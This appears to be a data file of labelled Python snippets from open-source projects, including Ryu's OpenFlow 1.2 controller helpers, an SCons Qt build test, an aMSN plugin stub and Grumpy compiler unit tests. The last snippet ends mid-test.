verbose_name=_(""Mapping ID"")) def get_object_display(self, datum): return datum.id class Meta(object): name = ""idp_protocols"" verbose_name = _(""Protocols"") table_actions = (AddProtocol, RemoveProtocol) row_actions = (RemoveProtocol, ) ",1 " this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. import base64 import struct import socket import logging import netaddr from ryu.ofproto import ether from ryu.ofproto import inet from ryu.ofproto import ofproto_v1_2 from ryu.ofproto import ofproto_v1_2_parser from ryu.lib import hub from ryu.lib import mac LOG = logging.getLogger('ryu.lib.ofctl_v1_2') DEFAULT_TIMEOUT = 1.0 def str_to_int(src): if isinstance(src, str): if src.startswith(""0x"") or src.startswith(""0X""): dst = int(src, 16) else: dst = int(src) else: dst = src return dst def to_action(dp, dic): ofp = dp.ofproto parser = dp.ofproto_parser action_type = dic.get('type') if action_type == 'OUTPUT': out_port = int(dic.get('port', ofp.OFPP_ANY)) max_len = int(dic.get('max_len', ofp.OFPCML_MAX)) result = parser.OFPActionOutput(out_port, max_len) elif action_type == 'COPY_TTL_OUT': result = parser.OFPActionCopyTtlOut() elif action_type == 'COPY_TTL_IN': result = parser.OFPActionCopyTtlIn() elif action_type == 'SET_MPLS_TTL': mpls_ttl = int(dic.get('mpls_ttl')) result = parser.OFPActionSetMplsTtl(mpls_ttl) elif action_type == 'DEC_MPLS_TTL': result = parser.OFPActionDecMplsTtl() elif action_type == 'PUSH_VLAN': ethertype = int(dic.get('ethertype')) result = parser.OFPActionPushVlan(ethertype) elif action_type == 'POP_VLAN': result = parser.OFPActionPopVlan() elif action_type == 'PUSH_MPLS': ethertype = int(dic.get('ethertype')) result = parser.OFPActionPushMpls(ethertype) elif action_type == 'POP_MPLS': ethertype = int(dic.get('ethertype')) result = parser.OFPActionPopMpls(ethertype) elif action_type == 'SET_QUEUE': queue_id = int(dic.get('queue_id')) result = parser.OFPActionSetQueue(queue_id) elif action_type == 'GROUP': group_id = int(dic.get('group_id')) result = parser.OFPActionGroup(group_id) elif action_type == 'SET_NW_TTL': nw_ttl = int(dic.get('nw_ttl')) result = parser.OFPActionSetNwTtl(nw_ttl) elif action_type == 'DEC_NW_TTL': result = parser.OFPActionDecNwTtl() elif action_type == 'SET_FIELD': field = dic.get('field') value = dic.get('value') result = parser.OFPActionSetField(**{field: value}) else: result = None return result def to_actions(dp, acts): inst = [] actions = [] ofp = dp.ofproto parser = dp.ofproto_parser for a in acts: action = to_action(dp, a) if action is not None: actions.append(action) else: action_type = a.get('type') if action_type == 'GOTO_TABLE': table_id = int(a.get('table_id')) inst.append(parser.OFPInstructionGotoTable(table_id)) elif action_type == 'WRITE_METADATA': metadata = str_to_int(a.get('metadata')) metadata_mask = (str_to_int(a['metadata_mask']) if 'metadata_mask' in a else parser.UINT64_MAX) inst.append( parser.OFPInstructionWriteMetadata( metadata, metadata_mask)) else: LOG.debug('Unknown action type: %s' % action_type) inst.append(parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS, actions)) return inst def action_to_str(act): action_type = act.cls_action_type if action_type == ofproto_v1_2.OFPAT_OUTPUT: buf = 'OUTPUT:' + str(act.port) elif action_type == ofproto_v1_2.OFPAT_COPY_TTL_OUT: buf = 'COPY_TTL_OUT' elif action_type == ofproto_v1_2.OFPAT_COPY_TTL_IN: buf = 'COPY_TTL_IN' elif action_type == ofproto_v1_2.OFPAT_SET_MPLS_TTL: buf = 'SET_MPLS_TTL:' + str(act.mpls_ttl) elif action_type == ofproto_v1_2.OFPAT_DEC_MPLS_TTL: buf = 'DEC_MPLS_TTL' elif action_type == ofproto_v1_2.OFPAT_PUSH_VLAN: buf = 'PUSH_VLAN:' + str(act.ethertype) elif action_type == ofproto_v1_2.OFPAT_POP_VLAN: buf = 'POP_VLAN' elif action_type == ofproto_v1_2.OFPAT_PUSH_MPLS: buf = 'PUSH_MPLS:' + str(act.ethertype) elif action_type == ofproto_v1_2.OFPAT_POP_MPLS: buf = 'POP_MPLS:' + str(act.ethertype) elif action_type == ofproto_v1_2.OFPAT_SET_QUEUE: buf = 'SET_QUEUE:' + str(act.queue_id) elif action_type == ofproto_v1_2.OFPAT_GROUP: buf = 'GROUP:' + str(act.group_id) elif action_type == ofproto_v1_2.OFPAT_SET_NW_TTL: buf = 'SET_NW_TTL:' + str(act.nw_ttl) elif action_type == ofproto_v1_2.OFPAT_DEC_NW_TTL: buf = 'DEC_NW_TTL' elif action_type == ofproto_v1_2.OFPAT_SET_FIELD: buf = 'SET_FIELD: {%s:%s}' % (act.key, act.value) else: buf = 'UNKNOWN' return buf def actions_to_str(instructions): actions = [] for instruction in instructions: if isinstance(instruction, ofproto_v1_2_parser.OFPInstructionActions): for a in instruction.actions: actions.append(action_to_str(a)) elif isinstance(instruction, ofproto_v1_2_parser.OFPInstructionGotoTable): buf = 'GOTO_TABLE:' + str(instruction.table_id) actions.append(buf) elif isinstance(instruction, ofproto_v1_2_parser.OFPInstructionWriteMetadata): buf = ('WRITE_METADATA:0x%x/0x%x' % (instruction.metadata, instruction.metadata_mask) if instruction.metadata_mask else 'WRITE_METADATA:0x%x' % instruction.metadata) actions.append(buf) else: continue return actions def to_match(dp, attrs): convert = {'in_port': int, 'in_phy_port': int, 'metadata': to_match_metadata, 'dl_dst': to_match_eth, 'dl_src': to_match_eth, 'eth_dst': to_match_eth, 'eth_src': to_match_eth, 'dl_type': int, 'eth_type': int, 'dl_vlan': to_match_vid, 'vlan_vid': to_match_vid, 'vlan_pcp': int, 'ip_dscp': int, 'ip_ecn': int, 'nw_proto': int, 'ip_proto': int, 'nw_src': to_match_ip, 'nw_dst': to_match_ip, 'ipv4_src': to_match_ip, 'ipv4_dst': to_match_ip, 'tp_src': int, 'tp_dst': int, 'tcp_src': int, 'tcp_dst': int, 'udp_src': int, 'udp_dst': int, 'sctp_src': int, 'sctp_dst': int, 'icmpv4_type': int, 'icmpv4_code': int, 'arp_op': int, 'arp_spa': to_match_ip, 'arp_tpa': to_match_ip, 'arp_sha': to_match_eth, 'arp_tha': to_match_eth, 'ipv6_src': to_match_ip, 'ipv6_dst': to_match_ip, 'ipv6_flabel': int, 'icmpv6_type': int, 'icmpv6_code': int, 'ipv6_nd_target': to_match_ip, 'ipv6_nd_sll': to_match_eth, 'ipv6_nd_tll': to_match_eth, 'mpls_label': int, 'mpls_tc': int} keys = {'dl_dst': 'eth_dst', 'dl_src': 'eth_src', 'dl_type': 'eth_type', 'dl_vlan': 'vlan_vid', 'nw_src': 'ipv4_src', 'nw_dst': 'ipv4_dst', 'nw_proto': 'ip_proto'} if attrs.get('dl_type') == ether.ETH_TYPE_ARP or \ attrs.get('eth_type') == ether.ETH_TYPE_ARP: if 'nw_src' in attrs and 'arp_spa' not in attrs: attrs['arp_spa'] = attrs['nw_src'] del attrs['nw_src'] if 'nw_dst' in attrs and 'arp_tpa' not in attrs: attrs['arp_tpa'] = attrs['nw_dst'] del attrs['nw_dst'] kwargs = {} for key, value in attrs.items(): if key in convert: value = convert[key](value) if key in keys: # For old field name key = keys[key] if key == 'tp_src' or key == 'tp_dst': # TCP/UDP port conv = {inet.IPPROTO_TCP: {'tp_src': 'tcp_src', 'tp_dst': 'tcp_dst'}, inet.IPPROTO_UDP: {'tp_src': 'udp_src', 'tp_dst': 'udp_dst'}} ip_proto = attrs.get('nw_proto', attrs.get('ip_proto', 0)) key = conv[ip_proto][key] kwargs[key] = value else: # others kwargs[key] = value return dp.ofproto_parser.OFPMatch(**kwargs) def to_match_eth(value): if '/' in value: value = value.split('/') return value[0], value[1] else: return value def to_match_ip(value): if '/' in value: ip = netaddr.ip.IPNetwork(value) ip_addr = str(ip.ip) ip_mask = str(ip.netmask) return ip_addr, ip_mask else: return value def to_match_vid(value): # NOTE: If ""vlan_id/dl_vlan"" field is described as decimal int value # (and decimal string value), it is treated as values of # VLAN tag, and OFPVID_PRESENT(0x1000) bit is automatically # applied. OTOH, If it is described as hexadecimal string, # treated as values of oxm_value (including OFPVID_PRESENT # bit), and OFPVID_PRESENT bit is NOT automatically applied. if isinstance(value, int): # described as decimal int value return value | ofproto_v1_2.OFPVID_PRESENT else: if '/' in value: val = value.split('/') return int(val[0], 0), int(val[1], 0) else: if value.isdigit(): # described as decimal string value return int(value, 10) | ofproto_v1_2.OFPVID_PRESENT else: return int(value, 0) def to_match_metadata(value): if '/' in value: value = value.split('/') return str_to_int(value[0]), str_to_int(value[1]) else: return str_to_int(value) def match_to_str(ofmatch): keys = {'eth_src': 'dl_src', 'eth_dst': 'dl_dst', 'eth_type': 'dl_type', 'vlan_vid': 'dl_vlan', 'ipv4_src': 'nw_src', 'ipv4_dst': 'nw_dst', 'ip_proto': 'nw_proto', 'tcp_src': 'tp_src', 'tcp_dst': 'tp_dst', 'udp_src': 'tp_src', 'udp_dst': 'tp_dst' } match = {} ofmatch = ofmatch.to_jsondict()['OFPMatch'] ofmatch = ofmatch['oxm_fields'] for match_field in ofmatch: key = match_field['OXMTlv']['field'] if key in keys: key = keys[key] mask = match_field['OXMTlv']['mask'] value = match_field['OXMTlv']['value'] if key == 'dl_vlan': value = match_vid_to_str(value, mask) elif key == 'metadata': value = match_metadata_to_str(value, mask) else: if mask is not None: value = value + '/' + mask else: value = value match.setdefault(key, value) return match def match_metadata_to_str(value, mask): return ('%d/%d' % (value, mask) if mask else '%d' % value) def match_vid_to_str(value, mask): if mask is not None: value = '0x%04x/0x%04x' % (value, mask) else: if value & ofproto_v1_2.OFPVID_PRESENT: value = str(value & ~ofproto_v1_2.OFPVID_PRESENT) else: value = '0x%04x' % value return value def send_stats_request(dp, stats, waiters, msgs): dp.set_xid(stats) waiters_per_dp = waiters.setdefault(dp.id, {}) lock = hub.Event() waiters_per_dp[stats.xid] = (lock, msgs) dp.send_msg(stats) lock.wait(timeout=DEFAULT_TIMEOUT) if not lock.is_set(): del waiters_per_dp[stats.xid] def get_desc_stats(dp, waiters): stats = dp.ofproto_parser.OFPDescStatsRequest(dp) msgs = [] send_stats_request(dp, stats, waiters, msgs) s = {} for msg in msgs: stats = msg.body s = {'mfr_desc': stats.mfr_desc, 'hw_desc': stats.hw_desc, 'sw_desc': stats.sw_desc, 'serial_num': stats.serial_num, 'dp_desc': stats.dp_desc} desc = {str(dp.id): s} return desc def get_queue_stats(dp, waiters): ofp = dp.ofproto stats = dp.ofproto_parser.OFPQueueStatsRequest(dp, 0, ofp.OFPP_ANY, ofp.OFPQ_ALL) msgs = [] send_stats_request(dp, stats, waiters, msgs) s = [] for msg in msgs: stats = msg.body for stat in stats: s.append({'port_no': stat.port_no, 'queue_id': stat.queue_id, 'tx_bytes': stat.tx_bytes, 'tx_errors': stat.tx_errors, 'tx_packets': stat.tx_packets}) desc = {str(dp.id): s} return desc def get_flow_stats(dp, waiters, flow={}): table_id = int(flow.get('table_id', dp.ofproto.OFPTT_ALL)) out_port = int(flow.get('out_port', dp.ofproto.OFPP_ANY)) out_group = int(flow.get('out_group', dp.ofproto.OFPG_ANY)) cookie = int(flow.get('cookie', 0)) cookie_mask = int(flow.get('cookie_mask', 0)) match = to_match(dp, flow.get('match', {})) stats = dp.ofproto_parser.OFPFlowStatsRequest( dp, table_id, out_port, out_group, cookie, cookie_mask, match) msgs = [] send_stats_request(dp, stats, waiters, msgs) flows = [] for msg in msgs: for stats in msg.body: actions = actions_to_str(stats.instructions) match = match_to_str(stats.match) s = {'priority': stats.priority, 'cookie': stats.cookie, 'idle_timeout': stats.idle_timeout, 'hard_timeout': stats.hard_timeout, 'actions': actions, 'match': match, 'byte_count': stats.byte_count, 'duration_sec': stats.duration_sec, 'duration_nsec': stats.duration_nsec, 'packet_count': stats.packet_count, 'table_id': stats.table_id, 'length': stats.length} flows.append(s) flows = {str(dp.id): flows} return flows def get_port_stats(dp, waiters): stats = dp.ofproto_parser.OFPPortStatsRequest( dp, dp.ofproto.OFPP_ANY, 0) msgs = [] send_stats_request(dp, stats, waiters, msgs) ports = [] for msg in msgs: for stats in msg.body: s = {'port_no': stats.port_no, 'rx_packets': stats.rx_packets, 'tx_packets': stats.tx_packets, 'rx_bytes': stats.rx_bytes, 'tx_bytes': stats.tx_bytes, 'rx_dropped': stats.rx_dropped, 'tx_dropped': stats.tx_dropped, 'rx_errors': stats.rx_errors, 'tx_errors': stats.tx_errors, 'rx_frame_err': stats.rx_frame_err, 'rx_over_err': stats.rx_over_err, 'rx_crc_err': stats.rx_crc_err, 'collisions': stats.collisions} ports.append(s) ports = {str(dp.id): ports} return ports def get_group_stats(dp, waiters): stats = dp.ofproto_parser.OFPGroupStatsRequest( dp, dp.ofproto.OFPG_ALL, 0) msgs = [] send_stats_request(dp, stats, waiters, msgs) groups = [] for msg in msgs: for stats in msg.body: bucket_counters = [] for bucket_counter in stats.bucket_counters: c = {'packet_count': bucket_counter.packet_count, 'byte_count': bucket_counter.byte_count} bucket_counters.append(c) g = {'length': stats.length, 'group_id': stats.group_id, 'ref_count': stats.ref_count, 'packet_count': stats.packet_count, 'byte_count': stats.byte_count, 'bucket_stats': bucket_counters} groups.append(g) groups = {str(dp.id): groups} return groups def get_group_features(dp, waiters): ofp = dp.ofproto type_convert = {ofp.OFPGT_ALL: 'ALL', ofp.OFPGT_SELECT: 'SELECT', ofp.OFPGT_INDIRECT: 'INDIRECT', ofp.OFPGT_FF: 'FF'} cap_convert = {ofp.OFPGFC_SELECT_WEIGHT: 'SELECT_WEIGHT', ofp.OFPGFC_SELECT_LIVENESS: 'SELECT_LIVENESS', ofp.OFPGFC_CHAINING: 'CHAINING', ofp.OFPGFC_CHAINING_CHECKS: 'CHAINING_CHECKS'} act_convert = {ofp.OFPAT_OUTPUT: 'OUTPUT', ofp.OFPAT_COPY_TTL_OUT: 'COPY_TTL_OUT', ofp.OFPAT_COPY_TTL_IN: 'COPY_TTL_IN', ofp.OFPAT_SET_MPLS_TTL: 'SET_MPLS_TTL', ofp.OFPAT_DEC_MPLS_TTL: 'DEC_MPLS_TTL', ofp.OFPAT_PUSH_VLAN: 'PUSH_VLAN', ofp.OFPAT_POP_VLAN: 'POP_VLAN', ofp.OFPAT_PUSH_MPLS: 'PUSH_MPLS', ofp.OFPAT_POP_MPLS: 'POP_MPLS', ofp.OFPAT_SET_QUEUE: 'SET_QUEUE', ofp.OFPAT_GROUP: 'GROUP', ofp.OFPAT_SET_NW_TTL: 'SET_NW_TTL', ofp.OFPAT_DEC_NW_TTL: 'DEC_NW_TTL', ofp.OFPAT_SET_FIELD: 'SET_FIELD'} stats = dp.ofproto_parser.OFPGroupFeaturesStatsRequest(dp, 0) msgs = [] send_stats_request(dp, stats, waiters, msgs) features = [] for msg in msgs: feature = msg.body types = [] for k, v in type_convert.items(): if (1 << k) & feature.types: types.append(v) capabilities = [] for k, v in cap_convert.items(): if k & feature.capabilities: capabilities.append(v) max_groups = [] for k, v in type_convert.items(): max_groups.append({v: feature.max_groups[k]}) actions = [] for k1, v1 in type_convert.items(): acts = [] for k2, v2 in act_convert.items(): if (1 << k2) & feature.actions[k1]: acts.append(v2) actions.append({v1: acts}) f = {'types': types, 'capabilities': capabilities, 'max_groups': max_groups, 'actions': actions} features.append(f) features = {str(dp.id): features} return features def get_group_desc(dp, waiters): type_convert = {dp.ofproto.OFPGT_ALL: 'ALL', dp.ofproto.OFPGT_SELECT: 'SELECT', dp.ofproto.OFPGT_INDIRECT: 'INDIRECT', dp.ofproto.OFPGT_FF: 'FF'} stats = dp.ofproto_parser.OFPGroupDescStatsRequest(dp, 0) msgs = [] send_stats_request(dp, stats, waiters, msgs) descs = [] for msg in msgs: for stats in msg.body: buckets = [] for bucket in stats.buckets: actions = [] for action in bucket.actions: actions.append(action_to_str(action)) b = {'weight': bucket.weight, 'watch_port': bucket.watch_port, 'watch_group': bucket.watch_group, 'actions': actions} buckets.append(b) d = {'type': type_convert.get(stats.type), 'group_id': stats.group_id, 'buckets': buckets} descs.append(d) descs = {str(dp.id): descs} return descs def get_port_desc(dp, waiters): stats = dp.ofproto_parser.OFPFeaturesRequest(dp) msgs = [] send_stats_request(dp, stats, waiters, msgs) descs = [] for msg in msgs: stats = msg.ports for stat in stats.values(): d = {'port_no': stat.port_no, 'hw_addr': stat.hw_addr, 'name': stat.name, 'config': stat.config, 'state': stat.state, 'curr': stat.curr, 'advertised': stat.advertised, 'supported': stat.supported, 'peer': stat.peer, 'curr_speed': stat.curr_speed, 'max_speed': stat.max_speed} descs.append(d) descs = {str(dp.id): descs} return descs def mod_flow_entry(dp, flow, cmd): cookie = int(flow.get('cookie', 0)) cookie_mask = int(flow.get('cookie_mask', 0)) table_id = int(flow.get('table_id', 0)) idle_timeout = int(flow.get('idle_timeout', 0)) hard_timeout = int(flow.get('hard_timeout', 0)) priority = int(flow.get('priority', 0)) buffer_id = int(flow.get('buffer_id', dp.ofproto.OFP_NO_BUFFER)) out_port = int(flow.get('out_port', dp.ofproto.OFPP_ANY)) out_group = int(flow.get('out_group', dp.ofproto.OFPG_ANY)) flags = int(flow.get('flags', 0)) match = to_match(dp, flow.get('match', {})) inst = to_actions(dp, flow.get('actions', [])) flow_mod = dp.ofproto_parser.OFPFlowMod( dp, cookie, cookie_mask, table_id, cmd, idle_timeout, hard_timeout, priority, buffer_id, out_port, out_group, flags, match, inst) dp.send_msg(flow_mod) def mod_group_entry(dp, group, cmd): type_convert = {'ALL': dp.ofproto.OFPGT_ALL, 'SELECT': dp.ofproto.OFPGT_SELECT, 'INDIRECT': dp.ofproto.OFPGT_INDIRECT, 'FF': dp.ofproto.OFPGT_FF} type_ = type_convert.get(group.get('type', 'ALL')) if type_ is None: LOG.debug('Unknown type: %s', group.get('type')) group_id = int(group.get('group_id', 0)) buckets = [] for bucket in group.get('buckets', []): weight = int(bucket.get('weight', 0)) watch_port = int(bucket.get('watch_port', dp.ofproto.OFPP_ANY)) watch_group = int(bucket.get('watch_group', dp.ofproto.OFPG_ANY)) actions = [] for dic in bucket.get('actions', []): action = to_action(dp, dic) if action is not None: actions.append(action) buckets.append(dp.ofproto_parser.OFPBucket( weight, watch_port, watch_group, actions)) group_mod = dp.ofproto_parser.OFPGroupMod( dp, cmd, type_, group_id, buckets) dp.send_msg(group_mod) def mod_port_behavior(dp, port_config): port_no = int(port_config.get('port_no', 0)) hw_addr = port_config.get('hw_addr') config = int(port_config.get('config', 0)) mask = int(port_config.get('mask', 0)) advertise = int(port_config.get('advertise')) port_mod = dp.ofproto_parser.OFPPortMod( dp, port_no, hw_addr, config, mask, advertise) dp.send_msg(port_mod) def send_experimenter(dp, exp): experimenter = exp.get('experimenter', 0) exp_type = exp.get('exp_type', 0) data_type = exp.get('data_type', 'ascii') if data_type != 'ascii' and data_type != 'base64': LOG.debug('Unknown data type: %s', data_type) data = exp.get('data', '') if data_type == 'base64': data = base64.b64decode(data) expmsg = dp.ofproto_parser.OFPExperimenter( dp, experimenter, exp_type, data) dp.send_msg(expmsg) ",1 "GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . """""" from accmon.plugins.plugin import * class System(Plugin): def __init__(self): super().__init__() def handle_request(self, request): res = super(System, self).handle_request(request) if res is not None: return res ",1 "ated documentation files (the # ""Software""), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, # distribute, sublicense, and/or sell copies of the Software, and to # permit persons to whom the Software is furnished to do so, subject to # the following conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY # KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE # WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE # LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION # OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # __revision__ = ""__FILE__ __REVISION__ __DATE__ __DEVELOPER__"" """""" Test Qt creation from a copied empty environment. """""" import TestSCons test = TestSCons.TestSCons() test.Qt_dummy_installation('qt') test.write('SConstruct', """"""\ orig = Environment() env = orig.Clone(QTDIR = r'%s', QT_LIB = r'%s', QT_MOC = r'%s', QT_UIC = r'%s', tools=['qt']) env.Program('main', 'main.cpp', CPPDEFINES=['FOO'], LIBS=[]) """""" % (test.QT, test.QT_LIB, test.QT_MOC, test.QT_UIC)) test.write('main.cpp', r"""""" #include ""foo6.h"" int main() { foo6(); return 0; } """""") test.write(['qt', 'include', 'foo6.h'], """"""\ #include void foo6(void) { #ifdef FOO printf(""qt/include/foo6.h\\n""); #endif } """""") # we can receive warnings about a non detected qt (empty QTDIR) # these are not critical, but may be annoying. test.run(stderr=None) test.run(program = test.workpath('main' + TestSCons._exe), stderr = None, stdout = 'qt/include/foo6.h\n') test.pass_test() # Local Variables: # tab-width:4 # indent-tabs-mode:nil # End: # vim: set expandtab tabstop=4 shiftwidth=4: ",1 "the plugins from the last session. Done in the init() proc. Then the GUI should call plugins.loadPlugin(name) or plugins.unLoadPlugin(name) in order to deal with plugins. """""" # init() # Called when the plugins module is imported (only for the first time). # Should find plugins and populate a list ready for getPlugins(). # Should also auto-update all plugins. def init(): pass # loadPlugin(plugin_name) # Called (by the GUI or from init()) to load a plugin. plugin_name as set in plugin's XML (or from getPlugins()). # This loads the module for the plugin. The module is then responsible for calling plugins.registerPlugin(instance). def loadPlugin(plugin_name): """""" @type plugin_name: str """""" pass # unLoadPlugin(plugin_name) # Called to unload a plugin. Name is name as set in plugin's XML. def unLoadPlugin(plugin_name): """""" @type plugin_name: str """""" pass # registerPlugin(plugin_instance) # Saves the instance of the plugin, and registers it in the loaded list. def registerPlugin(plugin_instance): """""" @type plugin_instance: L{amsn2.plugins.developers.aMSNPlugin} """""" pass # getPlugins() # Returns a list of all available plugins, as in ['Plugin 1', 'Plugin 2'] def getPlugins(): pass # getPluginsWithStatus() # Returns a list with a list item for each plugin with the plugin's name, and Loaded or NotLoaded either way. # IE: [['Plugin 1', 'Loaded'], ['Plugin 2', 'NotLoaded']] def getPluginsWithStatus(): pass # getLoadedPlugins() # Returns a list of loaded plugins. as in ['Plugin 1', 'Plugin N'] def getLoadedPlugins(): pass # findPlugin(plugin_name) # Retruns the running instance of the plugin with name plugin_name, or None if not found. def findPlugin(plugin_name): """""" @type plugin_name: str """""" pass # saveConfig(plugin_name, data) def saveConfig(plugin_name, data): """""" @type plugin_name: str @type data: object """""" pass # Calls the init procedure. # Will only be called on the first import (thanks to python). init() ",1 "e this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """"""Tests for StatementVisitor."""""" from __future__ import unicode_literals import re import subprocess import textwrap import unittest from grumpy_tools.compiler import block from grumpy_tools.compiler import imputil from grumpy_tools.compiler import shard_test from grumpy_tools.compiler import stmt from grumpy_tools.compiler import util from grumpy_tools.vendor import pythonparser from grumpy_tools.vendor.pythonparser import ast class StatementVisitorTest(unittest.TestCase): def testAssertNoMsg(self): self.assertEqual((0, 'AssertionError()\n'), _GrumpRun(textwrap.dedent(""""""\ try: assert False except AssertionError as e: print repr(e)""""""))) def testAssertMsg(self): want = (0, ""AssertionError('foo',)\n"") self.assertEqual(want, _GrumpRun(textwrap.dedent(""""""\ try: assert False, 'foo' except AssertionError as e: print repr(e)""""""))) def testBareAssert(self): # Assertion errors at the top level of a block should raise: # https://github.com/google/grumpy/issues/18 want = (0, 'ok\n') self.assertEqual(want, _GrumpRun(textwrap.dedent(""""""\ def foo(): assert False try: foo() except AssertionError: print 'ok' else: print 'bad'""""""))) def testAssignAttribute(self): self.assertEqual((0, '123\n'), _GrumpRun(textwrap.dedent(""""""\ e = Exception() e.foo = 123 print e.foo""""""))) def testAssignName(self): self.assertEqual((0, 'bar\n'), _GrumpRun(textwrap.dedent(""""""\ foo = 'bar' print foo""""""))) def testAssignMultiple(self): self.assertEqual((0, 'baz baz\n'), _GrumpRun(textwrap.dedent(""""""\ foo = bar = 'baz' print foo, bar""""""))) def testAssignSubscript(self): self.assertEqual((0, ""{'bar': None}\n""), _GrumpRun(textwrap.dedent(""""""\ foo = {} foo['bar'] = None print foo""""""))) def testAssignTuple(self): self.assertEqual((0, 'a b\n'), _GrumpRun(textwrap.dedent(""""""\ baz = ('a', 'b') foo, bar = baz print foo, bar""""""))) def testAugAssign(self): self.assertEqual((0, '42\n'), _GrumpRun(textwrap.dedent(""""""\ foo = 41 foo += 1 print foo""""""))) def testAugAssignBitAnd(self): self.assertEqual((0, '3\n'), _GrumpRun(textwrap.dedent(""""""\ foo = 7 foo &= 3 print foo""""""))) def testAugAssignPow(self): self.assertEqual((0, '64\n'), _GrumpRun(textwrap.dedent(""""""\ foo = 8 foo **= 2 print foo""""""))) def testClassDef(self): self.assertEqual((0, ""\n""), _GrumpRun(textwrap.dedent(""""""\ class Foo(object): pass print type(Foo)""""""))) def testClassDefWithVar(self): self.assertEqual((0, 'abc\n'), _GrumpRun(textwrap.dedent(""""""\ class Foo(object): bar = 'abc' print Foo.bar""""""))) def testDeleteAttribute(self): self.assertEqual((0, 'False\n'), _GrumpRun(textwrap.dedent(""""""\ class Foo(object): bar = 42 del Foo.bar print hasattr(Foo, 'bar')""""""))) def testDeleteClassLocal(self): self.assertEqual((0, 'False\n'), _GrumpRun(textwrap.dedent(""""""\ class Foo(object): bar = 'baz' del bar print hasattr(Foo, 'bar')""""""))) def testDeleteGlobal(self): self.assertEqual((0, 'False\n'), _GrumpRun(textwrap.dedent(""""""\ foo = 42 del foo print 'foo' in globals()""""""))) def testDeleteLocal(self): self.assertEqual((0, 'ok\n'), _GrumpRun(textwrap.dedent(""""""\ def foo(): bar = 123 del bar try: print bar raise AssertionError except UnboundLocalError: print 'ok' foo()""""""))) def testDeleteNonexistentLocal(self): self.assertRaisesRegexp( util.ParseError, 'cannot delete nonexistent local', _ParseAndVisit, 'def foo():\n del bar') def testDeleteSubscript(self): self.assertEqual((0, '{}\n'), _GrumpRun(textwrap.dedent(""""""\ foo = {'bar': 'baz'} del foo['bar'] print foo""""""))) def testExprCall(self): self.assertEqual((0, 'bar\n'), _GrumpRun(textwrap.dedent(""""""\ def foo(): print 'bar' foo()""""""))) def testExprNameGlobal(self): self.assertEqual((0, ''), _GrumpRun(textwrap.dedent(""""""\ foo = 42 foo""""""))) def testExprNameLocal(self): self.assertEqual((0, ''), _GrumpRun(textwrap.dedent(""""""\ foo = 42 def bar(): foo bar()""""""))) def testFor(self): self.assertEqual((0, '1\n2\n3\n'), _GrumpRun(textwrap.dedent(""""""\ for i in (1, 2, 3): print i""""""))) def testForBreak(self): self.assertEqual((0, '1\n'), _GrumpRun(textwrap.dedent(""""""\ for i in (1, 2, 3): print i break""""""))) def testForContinue(self): self.assertEqual((0, '1\n2\n3\n'), _GrumpRun(textwrap.dedent(""""""\ for i in (1, 2, 3): print i continue raise AssertionError""""""))) def testForElse(self): self.assertEqual((0, 'foo\nbar\n'), _GrumpRun(textwrap.dedent(""""""\ for i in (1,): print 'foo' else: print 'bar'""""""))) def testForElseBreakNotNested(self): self.assertRaisesRegexp( util.ParseError, ""'continue' not in loop"", _ParseAndVisit, 'for i in (1,):\n pass\nelse:\n continue') def testForElseContinueNotNested(self): self.assertRaisesRegexp( util.ParseError, ""'continue' not in loop"", _ParseAndVisit, 'for i in (1,):\n pass\nelse:\n continue') def testFunctionDecorator(self): self.assertEqual((0, 'foo\n'), _GrumpRun(textwrap.dedent(""""""\ def bold(fn): return lambda: '' + fn() + '' @bold def foo(): return 'foo' print foo()""""""))) def testFunctionDecoratorWithArg(self): self.assertEqual((0, 'foo\n'), _GrumpRun(textwrap.dedent(""""""\ def tag(name): def bold(fn): return lambda: '' + fn() + '' return bold @tag('red') def foo(): return 'foo' print foo()""""""))) def testFunctionDef(self): self.assertEqual((0, 'bar baz\n'), _GrumpRun(textwrap.dedent(""""""\ def foo(a, b): print a, b foo('bar', 'baz')""""""))) def testFunctionDefGenerator(self): self.assertEqual((0, ""['foo', 'bar']\n""), _GrumpRun(textwrap.dedent(""""""\ def gen(): yield 'foo' yield 'bar' print list(gen())""""""))) def testFunctionDefGeneratorReturnValue(self): self.assertRaisesRegexp( util.ParseError, 'returning a value in a generator function', _ParseAndVisit, 'def foo():\n yield 1\n return 2') def testFunctionDefLocal(self): self.assertEqual((0, 'baz\n'), _GrumpRun(textwrap.dedent(""""""\ def foo(): def bar(): print 'baz' bar() foo()""""""))) def testIf(self): self.assertEqual((0, 'foo\n'), _GrumpRun(textwrap.dedent(""""""\ if 123: print 'foo' if '': print 'bar'""""""))) def testIfElif(self): self.assertEqual((0, 'foo\nbar\n'), _GrumpRun(textwrap.dedent(""""""\ if True: print 'foo' elif False: print 'bar' if False: print 'foo' elif True: print 'bar'""""""))) def testIfElse(self): self.assertEqual((0, 'foo\nbar\n'), _GrumpRun(textwrap.dedent(""""""\ if True: print 'foo' else: print 'bar' if False: print 'foo' else: 